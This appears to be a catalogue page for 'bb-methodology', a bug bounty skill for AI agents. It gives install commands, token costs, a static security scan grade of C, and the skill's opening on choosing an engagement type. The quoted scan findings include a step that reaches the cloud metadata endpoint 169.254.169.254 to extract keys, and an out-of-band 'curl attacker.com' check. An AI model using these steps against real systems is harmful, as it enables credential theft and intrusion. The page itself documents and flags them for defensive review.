Getting it into your agent
One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.
npx skills add adriannoes/awesome-agentic-ai --skill bb-methodologygit clone --depth 1 https://github.com/adriannoes/awesome-agentic-aiWrote this? Show the measurements
A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.
[](https://agentmods.dev/skills/adriannoes/awesome-agentic-ai/bb-methodology)<a href="https://agentmods.dev/skills/adriannoes/awesome-agentic-ai/bb-methodology"><img src="https://agentmods.dev/badge/skills/adriannoes/awesome-agentic-ai/bb-methodology/github.svg" alt="Measured on agentmods" height="20"></a>Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.
<a href="https://agentmods.dev/skills/adriannoes/awesome-agentic-ai/bb-methodology"><img src="https://agentmods.dev/badge/skills/adriannoes/awesome-agentic-ai/bb-methodology.svg" alt="Reviewed on agentmods" width="80" height="20"></a>What it costs to keep this loaded
Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5.1 | $0.00090 | $0.07313 |
| Opus 5.5 | $0.00036 | $0.02925 |
| Sonnet 5.5 | $0.00018 | $0.01463 |
| Haiku 4.5 | $0.00009 | $0.00731 |
Grade C, and why
bb-methodology scanned grade C with 2 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 1mo ago.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Cloud metadata endpointhighServer-side request forgery
One request to 169.254.169.254 can return temporary IAM credentials.
| +-- Can reach 169.254.169.254? -> Extract keys -> RCE Makes network callslowCapability
Not a fault in itself. Listed so you know the mod talks to something, and to what.
3. No time diff? OOB (`curl attacker.com`, interactsh) -- watch for DNS callback This is a copy
100% identical to bb-methodology — 1 line differ, which has more behind it and is treated as the original. This page carries a canonical link to it rather than competing with it.
How it starts
The opening of the file, as written. The whole thing — 513 lines — stays where its author put it; the contents beside it link to each section on GitHub.
Bug Bounty Methodology: Workflow + Mindset
Master orchestrator for hunting sessions. Combines the 5-phase non-linear workflow with the critical thinking framework that separates top 1% hunters from the rest.
PART 0: MODE CONFIRMATION (Before Anything Else)
Confirm the engagement type before deciding what counts as a finding. The same target produces a different report shape depending on which mode applies. Getting this wrong is the single biggest waste of time in this workflow — answer it explicitly before Phase 0.
| Engagement type | What counts as a finding | What gets rejected |
|---|---|---|
| Bug bounty (H1 / Bugcrowd / Intigriti / private VDP) | Impact-demonstrated bugs ONLY. Full chain to attacker-attainable harm. | Hygiene (EoL software alone, permissive CSP alone, stack traces, info disclosure without concrete impact, "best practice" violations) |
| Red team (external client engagement) | Hygiene findings + recon + IoCs + defensive-state observations are ALL deliverables | Nothing — even "no finding here" is reportable as a positive defensive observation |
| Pentest (signed SoW / WAPT) | Depends on SoW. Read scope explicitly. Usually accepts hygiene + impact + recon | Out-of-scope assets, unsigned testing |
| Internal audit | Compliance-mapped findings (PCI / ISO / NIST / DPDPA / GDPR) | Findings without a control-mapping |
Hard rule: Before Phase 0 runs, write the engagement type as the first line in your hunt notes. If you can't answer it from the user's instruction, ASK once. Don't assume — the mistake costs both you and the triager.
Lesson from an authorized engagement: First-pass on this target produced 5 hygiene findings (SP2013 EoL, permissive CSP, stack traces) shipped in red-team format. The engagement was bug-bounty. Findings would have been N/A'd as "informational, no impact demonstrated." After the corrected pass with hygiene-as-context-not-finding, the same target yielded 11 impact-demonstrated bugs including 3 Critical.
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- 1mo ago First seen · 513 lines · 90 tokens per session scan C 437537867336
bb-methodology is a skill published in the GitHub repository adriannoes/awesome-agentic-ai (87 stars, last pushed 3d ago), licensed MIT. It adds 90 tokens to every session and 7,313 once invoked, about $0.0004 per session on Opus 5.5. A static security scan graded it C with 2 findings (cloud metadata endpoint, makes network calls). It is 100% identical to bb-methodology, differing in 1 line, and is treated as a copy.
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